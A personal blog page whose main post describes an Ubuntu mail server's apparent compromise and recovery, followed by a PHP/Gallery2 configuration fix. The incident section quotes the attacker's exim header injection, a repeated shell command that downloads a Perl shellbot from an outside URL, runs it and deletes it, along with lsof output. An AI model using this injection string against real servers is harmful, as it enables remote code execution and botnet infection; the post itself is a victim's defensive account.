All posts by brocknanson

Civil Engineer trying to stay out of the technical box by dabbling in photography...

Icy Muffler

Wondering why the exhaust got a bit noisy in the cold… question answered!

Icy Exhaust
Advertisements

Ubuntu upgrade problems and solutions

Some interesting stuff that all started with an apparent unwanted visitor to the exim server running Jaunty Jackalope. The problem was likely a kernel exploit that hadn’t been patched. My bad, but not entirely. I have always admin’d this box via PuTTY and *evidently*, the apt-get upgrade function ignores kernel updates unless you are local on the machine. And in addition, it doesn’t tell you when a distro has reached end of life and won’t be getting any more security updates!

So… I noted a PERL script hogging resources. And a process that called itself /usr/sbin/apache/logs or something like that. The clue was the fact that /usr/sbin/apache doesn’t exist on that box… only ‘apache2’.

I summarized some of what I learned in an email to a friend after I had fixed it:

I had a scare today with a perl script that was using all my resources. From what I can see, it was a bot of some sort. I’ve since upgraded the box a few Ubuntu versions, so hopefully the (assumed) kernel issue will stop it from being re-infected. Hopefully whatever it was isn’t able to start itself on boot. So far I see no evidence of it running now.

The script that it downloaded and then ran can be seen here:

http://rav3nhack.netfirms.com/hau.1

Note that AVG identifies it as a PERL shellbot or something, so I can’t easily save it and send it around (which I probably shouldn’t do anyway!) but I think it should be safe enough to view in Firefox.

I found in my exim reject log the point of origin (I think). It relates the question I asked the other day about big files… inside the reject log, there’s a bunch of stuff, with the main code repeated on and on:

Header0054: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
Header0055: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
HeaderX: ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;
perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirm
s.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wge
t http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.
1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /
tmp/hau.1;rm -rf /tmp/hau.1’}}

So that would give you an idea of what the script was doing. When it was going, I did ‘lsof’ and got this:

root@nanson:/var/log/apache2# lsof -p 4797

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 4797 Debian-exim cwd DIR 8,1 4096 2 /

perl 4797 Debian-exim rtd DIR 8,1 4096 2 /

perl 4797 Debian-exim txt REG 8,1 1269408 16515 /usr/bin/perl

perl 4797 Debian-exim mem REG 8,1 75472 1072103 /lib/tls/i686/cmov/libresolv-2.9.so

perl 4797 Debian-exim mem REG 8,1 21976 1072095 /lib/tls/i686/cmov/libnss_dns-2.9.so

perl 4797 Debian-exim mem REG 8,1 7552 1054799 /lib/libnss_mdns4_minimal.so.2

perl 4797 Debian-exim mem REG 8,1 42504 1072096 /lib/tls/i686/cmov/libnss_files-2.9.so

perl 4797 Debian-exim mem REG 8,1 38296 1072089 /lib/tls/i686/cmov/libcrypt-2.9.so

perl 4797 Debian-exim mem REG 8,1 1442180 1072087 /lib/tls/i686/cmov/libc-2.9.so

perl 4797 Debian-exim mem REG 8,1 116405 1072101 /lib/tls/i686/cmov/libpthread-2.9.so

perl 4797 Debian-exim mem REG 8,1 149328 1072091 /lib/tls/i686/cmov/libm-2.9.so

perl 4797 Debian-exim mem REG 8,1 9676 1072090 /lib/tls/i686/cmov/libdl-2.9.so

perl 4797 Debian-exim mem REG 8,1 21940 89998 /usr/lib/perl/5.10.0/auto/Socket/Socket.so

perl 4797 Debian-exim mem REG 8,1 17812 89987 /usr/lib/perl/5.10.0/auto/IO/IO.so

perl 4797 Debian-exim mem REG 8,1 117348 1054744 /lib/ld-2.9.so

perl 4797 Debian-exim 0r FIFO 0,6 16107 pipe

perl 4797 Debian-exim 1w FIFO 0,6 16108 pipe

perl 4797 Debian-exim 2w FIFO 0,6 16108 pipe

perl 4797 Debian-exim 3u IPv4 16127 TCP nanson.org:39492->ns.akcent.com:6969 (ESTABLISHED)

perl 4797 Debian-exim 4u IPv4 14025 TCP nanson.org:smtp->74-51-34-162.telnetcommunications.com:35719 (ESTABLISHED)

perl 4797 Debian-exim 5u IPv4 14025 TCP nanson.org:smtp->74-51-34-162.telnetcommunications.com:35719 (ESTABLISHED)

What I’d like to work out is where/what it might have left behind so I can kill it for good. Do you see any clues in the script?

Because of these problems I put a monitor on the server and worked locally. That’s when I found that I could get a new kernel (which might have been all I needed to block future attempts) and that the distro was no longer going to receive security updates. After upgrading the kernel, I decided I might just as well give the disto-update a try (even though I’ve had bad luck in the past!). Happily, I upgraded two versions to 10.04 LTS. That should allow me to keep the patches coming for another year or two.

One issue I came across afterward was a problem with Gallery2 in my WordPress blog. Rather than see the contents, I got this error:

Deprecated: Assigning the return value of new by reference is deprecated in /usr/share/gallery2/bootstrap.inc on line 43

Upon researching this one, I found this page:

http://gallery.menalto.com/node/95919

Rather than attempt to update the version of Gallery2, I elected to make the php changes noted in that link:

I managed to fix the problem by doing the two following things:

1) Change error reporting line in /etc/php5/apache2/php.ini from

error_reporting = E_ALL & ~E_NOTICE

to

error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED

2) In /etc/gallery2/config.php change the line

$storeConfig[‘type’] = ‘mysqli’;

to

$storeConfig[‘type’] = ‘mysqlt’;

Restarted Apacahe, and then all was fixed (at least for me).

It worked for me also.